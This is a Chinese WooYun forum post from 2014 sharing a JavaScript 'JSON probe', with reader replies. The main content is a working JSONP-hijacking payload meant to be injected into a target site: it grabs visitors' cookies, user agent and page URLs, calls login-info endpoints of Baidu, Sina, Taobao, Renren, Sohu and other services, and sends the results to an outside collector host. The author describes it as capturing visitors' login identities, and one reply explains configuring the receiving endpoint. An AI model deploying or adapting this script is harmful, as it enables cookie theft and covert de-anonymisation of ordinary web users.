JSON探针—定位目标网络虚拟信息身份

  • A+
所属分类:WooYun-Zone

11月啦,放点东西出来 给wooyun的伙伴们分享下,其实这个技术已经很成熟啦.不过还是有不知道的童鞋吧。

BTW看了看我的注册时间,数数手指也有3年近4年的样子啦…也见证了wooyun的成长过程.

从当初的rank榜单top10到现在,感叹,弹指一挥间..不过我相信在wooyun这个平台上的帽子们,无论白帽黑帽,只要是会捉老鼠的都是好帽,所以说,我坚信,大家做一件事情,都不忘初衷…坚持!废话是不是很多?哈哈..

看看下面部分的核心代码,我也就贴部分啦,其实实现起来很Easy,需要一个后端去接收。

它的用处呢,标题大家也看到了,至于能扩展到什么程度,怎么使用,那就看大家的思路啦。。。

window.onerror=function(){

  return true;

}

http_server = "http://lemon.1nlab.com/index.php?do=api&id=lemon&content=";

var info = {};

info.browser = function(){

  ua = navigator.userAgent.toLowerCase();

  var rwebkit = /(webkit)[ \/]([\w.]+)/;

  var ropera = /(opera)(?:.*version)?[ \/]([\w.]+)/;

  var rmsie = /(msie) ([\w.]+)/;

  var rmozilla = /(mozilla)(?:.*? rv:([\w.]+))?/;

  var match = rwebkit.exec( ua ) ||

  ropera.exec( ua ) ||

  rmsie.exec( ua ) ||

  ua.indexOf("compatible") < 0 && rmozilla.exec( ua ) ||

  [];

  return {

    name: match[1] || "", version: match[2] || "0"

  };

}();

info.url =  document.location.href;

info.ua = escape(navigator.userAgent);

info.lang = navigator.language;

info.referrer = document.referrer;

info.location = window.location.href;

info.toplocation = top.location.href;

info.cookie = escape(document.cookie);

info.domain = document.domain;

info.title = document.title;

info.screen = function(){

  var c = "";

  if (self.screen) {

    c = screen.width+"x"+screen.height;

  }

  return c;

}();

info.flash = function(){

  var f="",n=navigator;

  if (n.plugins && n.plugins.length) {

    for (var ii=0;ii<n.plugins.length;ii++) {

      if (n.plugins[ii].name.indexOf('Shockwave Flash')!=-1) {

        f=n.plugins[ii].description.split('Shockwave Flash ')[1];

        break;

      }

    }

  }

  else

  if (window.ActiveXObject) {

    for (var ii=10;ii>=2;ii--) {

      try {

        var fl=eval("new ActiveXObject('ShockwaveFlash.ShockwaveFlash."+ii+"');");

        if (fl) {

          f=ii + '.0';

          break;

        }

      }

      catch(e) {}

    

    }

  }

  return f;

}();

function inj_script(a, b) {

  var o = document.createElement("script");

  o.src = a;

  if (b) {

    if (!window.ActiveXObject) {

      o.onload = b;

    }

    else {

      o.onreadystatechange = function () {

        if (o.readyState == 'loaded' || o.readyState == 'complete') {

          b();

        }

      }

    }

  }

  document.getElementsByTagName("body")[0].appendChild(o);

  return o;

}

function json2str(o) {

  if(typeof o == 'string') return o;

  var arr = [];

  var fmt = function(s) {

    if (typeof s == 'object' && s != null) return json2str(s);

    return /^(string|number)$/.test(typeof s) ? "'" + s + "'" : s;

  }

  for (var i in o) arr.push("'" + i + "':" + fmt(o[i]));

  return '{' + arr.join(',') + '}';

}

video_login_callback = function(o){

  new Image().src = http_server + escape(json2str(o)) + "&content2=baidu";

}

e163_comment = function(o){

  new Image().src = http_server + escape(json2str(o)) + "&content2=163";

}

sina_1368631232407449 = function(o){

  new Image().src = http_server + escape(json2str(o)) + "&content2=sina";

}

loginInfoJson = function(o){

  new Image().src = http_server + escape(json2str(o)) + "&content2=taobao";

}

jsonp1368705676193 = function(o){

  new Image().src = http_server + escape(json2str(o)) + "&content2=mop";

}

jsonp1368751970360 = function(o){

  new Image().src = http_server + escape(json2str(o)) + "&content2=dangdang";

}

jQuery1368758656634 = function(o){

  new Image().src = http_server + escape(json2str(o)) + "&content2=renren";

}

window.onload = function(){

  new Image().src = http_server + escape(json2str(info)) + "&content2=info%20";

  try{

    inj_script('http://baike.baidu.com/api/login/?callback=video_login_callback');

  }

  catch(e){}

  try{

    inj_script('http://comment.money.163.com/reply/check.jsp?time=1367240961474&callback=e163_comment');

  }

  catch(e){}

  

  try{

    inj_script('http://i.house.sina.com.cn/sso/get_cookie.php?callback=sina_1368631232407449');

  }

  catch(e){}

  

  try{

    inj_script('http://i.bendi.taobao.com/userLoginInfo.do?callback=loginInfoJson&t=1368683974713');

  }

  catch(e){}

  

  try{

    inj_script('http://passport.mop.com/common/user-info?callback=jsonp1368705676193');

  }

  catch(e){}

  

  try{

    inj_script('http://commapi.dangdang.com/api/toolbar_ads_api.php?jsoncallback=jsonp1368751970360');

  }

  catch(e){}

  

  try{

    inj_script('http://passport.game.renren.com/user/info?callback=jQuery1368758656634&_=1368758656639');

  }

  catch(e){}

  

  try{

    inj_script('http://uis.i.sohu.com/api/passport.jsp?from=roll&_=1361671333278');

  }

  catch(e){}

  

  

  try{

    inj_script('http://www.tianya.cn/api/msg?method=messagesys.selectmessage&params.pageSize=1&params.pageNo=1&_=1368893252433&var=tianya_msg');

  }

  catch(e){}

  setTimeout(function(){

    var o = [_passport];

    new Image().src = http_server + escape(json2str(o)) + "&content2=sohu";

  }

  ,3000);

  setTimeout(function(){

    var o = tianya_msg.data.list[0].toUserName+'|'+tianya_msg.data.list[0].toUserId;

    new Image().src = http_server + escape(json2str(o)) + "&content2=tianya";

  }

  ,5000);

};

我就不逐行去做解释了,大家可以看到里面有很多国内的大型SNS站点,购物站,等等。

这里你可以自定义添加你想要的,然后呢,你把这段代码注入到目标网站上,那么访问者访问以后。

假设他之前有访问过这些代码里面自定义的网站,比如baidu空间,当当网,新浪微博,淘宝,等等网站。

那么他之前的登陆信息就会被我们截获到,并且记录到我们的后台。也就是最开始那段http_server那个地址里面去… 好了,洗洗睡了。。。欢迎各位 拍砖…

  1. 1#

    党中央 | 2014-11-06 00:15

    感谢楼主分享

  2. 2#

    Mixes | 2014-11-06 01:12

    突然想起以前总有人回复加图片…

  3. 3#

    大白菜 (YY ID 71686265) | 2014-11-06 01:26

    。。。。。。。。。。秒懂了

  4. 4#

    Ricter (勿忘初心 (๑`・ᴗ・´๑) | 2014-11-06 10:02

    部分失效了..这是利用了callback的信息泄露吧..

    思路不错=口=

  5. 5#

    cnrstar (Be My Personal Best!) | 2014-11-06 10:04

    jshijacking啊,这种要找猥琐牛,各种姿势,哈哈哈

  6. 6#

    AZ0NE (www.azone.asia) | 2014-11-06 11:53

    求php端源码

  7. 7#

    RainShine (I’m your angel of music.) | 2014-11-06 13:20

    膜拜元老……@那个叫什么深蓝的逗比

  8. 8#

    爱捣蛋的鬼 | 2014-11-06 13:34

    xss危害还是很大

  9. 9#

    梧桐雨 | 2014-11-06 13:40

    好东西,感谢lz。

  10. 10#

    Chu (学习ing。) | 2014-11-06 13:55

    咱思路

  11. 11#

    Chu (学习ing。) | 2014-11-06 13:55

    赞…

  12. 12#

    八云幽紫 | 2014-11-06 14:14

    @Ricter @AZ0NE 看到好多熟人

  13. 13#

    我勒个去 | 2014-11-06 14:27

    早已有:)Thx anyway

  14. 14#

    微信公众号 | 2014-11-06 14:34

    t各种猥琐

  15. 15#

    Fireweed | 2014-11-06 14:42

    赞思路

  16. 16#

    老和尚 | 2014-11-06 14:58

    没看懂!!点了个喜欢,回家研究去

  17. 17#

    AZ0NE (www.azone.asia) | 2014-11-06 15:07

    @八云幽紫 大白露

  18. 18#

    Jacks (https://royalhack.ru) | 2014-11-06 16:34

    @我勒个去 你为何弄个马甲?我知道你是谁,233333

  19. 19#

    我勒个去 | 2014-11-06 17:04

    @Jacks 呵呵,在wooyun上就是这个ID啊,何来马甲一说

  20. 20#

    Jacks (https://royalhack.ru) | 2014-11-06 17:17

    @我勒个去 嘿嘿,你是xiaoyu吗? 还在 baidu?

  21. 21#

    xsser | 2014-11-06 17:39

    曾经的top 10

  22. 22#

    Jumbo (www.chinabaiker.com) | 2014-11-06 18:00

    突然想起以前总有人回复加图片…

  23. 23#

    Jumbo (www.chinabaiker.com) | 2014-11-06 18:01

    这是js文件吗。然后注入xss.js?

  24. 24#

    Jacks (https://royalhack.ru) | 2014-11-06 18:24

    @xsser 唔乖晒.   Jancnock总的WB,哈哈,, 正在发愁木有WB 去申请众测咧.

  25. 25#

    CHForce (带马师) | 2014-11-07 09:40

    very good,非常有意思的过程。

  26. 26#

    哎呦小贼 | 2014-11-07 09:42

    有何利用价值

  27. 27#

    我勒个去 | 2014-11-07 10:03

    @Jacks 索性我就多说一点。可以考虑把flash的也结合一部分进去,JAVA算是废了,没意思。同时在思路方面也可以不局限于hijack之类的,参考下目前营销号如何做精准营销的,比如我怎么知道你的QQ?呵呵

  28. 28#

    secer | 2014-11-07 10:30

    jsonp 大法好

  29. 29#

    博丽灵梦 (啊 我中枪了) | 2014-11-07 10:44

    好东西

  30. 30#

    笔墨 (自古处男多sb) | 2014-11-07 11:46

    多谢!

  31. 31#

    YwiSax | 2014-11-07 14:29

    之前有人搞了某大站,被管理员在shell里插了这个。。。然后被抓了,哈哈哈

  32. 32#

    Marsevil (ฏ๎๎๎๎๎๎๎๎๎ฏ๎๎๎๎๎๎ด้้้้้็็) | 2014-11-07 14:48

    @YwiSax 鹳狸猿简直机智

  33. 33#

    sdj (男人分三种,第一种是用假名牌来掩饰身份,第二种是用真名牌类衬托身份,而第三种,则是用身份来衬托身上的假名牌。) | 2014-11-07 20:54

    @YwiSax 杜撰性略高啊,我觉的能搞大站的基本操作一直都是在干净的虚拟机里操作的。

  34. 34#

    核攻击 (统治全球,奴役全人类!毁灭任何胆敢阻拦的有机生物!) | 2014-11-08 01:54

    其实原理很简单,利用大量三方网站的cookie进行个人信息追踪,例如各种购物网站广告匹配机制,分析你各种喜好,推送符合你的广告,我们调用这些接口就可以获得很多意想不到的信息,例如目标年龄段、性别、体型、个人喜好等信息(各大广告公司一直在做,例如百度联盟、谷歌广告),或者干脆直接调用各大网站的登录接口,获取一些callback的用户登陆账号信息,类似以前的:注意,日站的时候请清理cookie或使用虚拟机,否则可被cookie追踪

  35. 35#

    小森森 (学习中……) | 2014-11-08 05:34

    百度百科这个漏得挺厉害的……

  36. 36#

    abaddon (我就认识这几个字母因此取了这名字) | 2014-11-08 07:02

    @核攻击 我浏览人家招生网站 糊里糊涂就进去了
    真实IP 不会被查水表吧 ….

  37. 37#

    nony (Not do is die…) | 2014-11-13 22:33

    接收端怎么定义呢?

  38. 38#

    Jacks (https://royalhack.ru) | 2014-11-13 22:44

    @nony http_server = 有例

  39. 39#

    nony (Not do is die…) | 2014-11-13 22:48

    @Jacks 呜呜  不知道怎么配置啊  求详细

  40. 40#

    nony (Not do is die…) | 2014-11-13 22:49

    @Jacks http_server  这个我可以在xss平台里面配置吗?

  41. 41#

    xiaoxin (己所不欲,勿施于人) | 2014-11-14 00:03

    @nony http_server= ‘http://xxx/index.php?do=api&id={projectId}&content=’;
    配置里记得接受content,content2两个参数

  42. 42#

    nony (Not do is die…) | 2014-11-14 02:39

    @xiaoxin ok  已经测试完毕

  43. 43#

    noob (漏洞深不可测#&8238) | 2014-11-26 14:40

    猥琐好姿势,get了

  44. 44#

    B1uH4ck | 2014-11-26 15:25

    核总解释的。。。。。好。

  45. 45#

    爱捣蛋的鬼 | 2014-12-18 17:33

    感谢,已抓盗号集团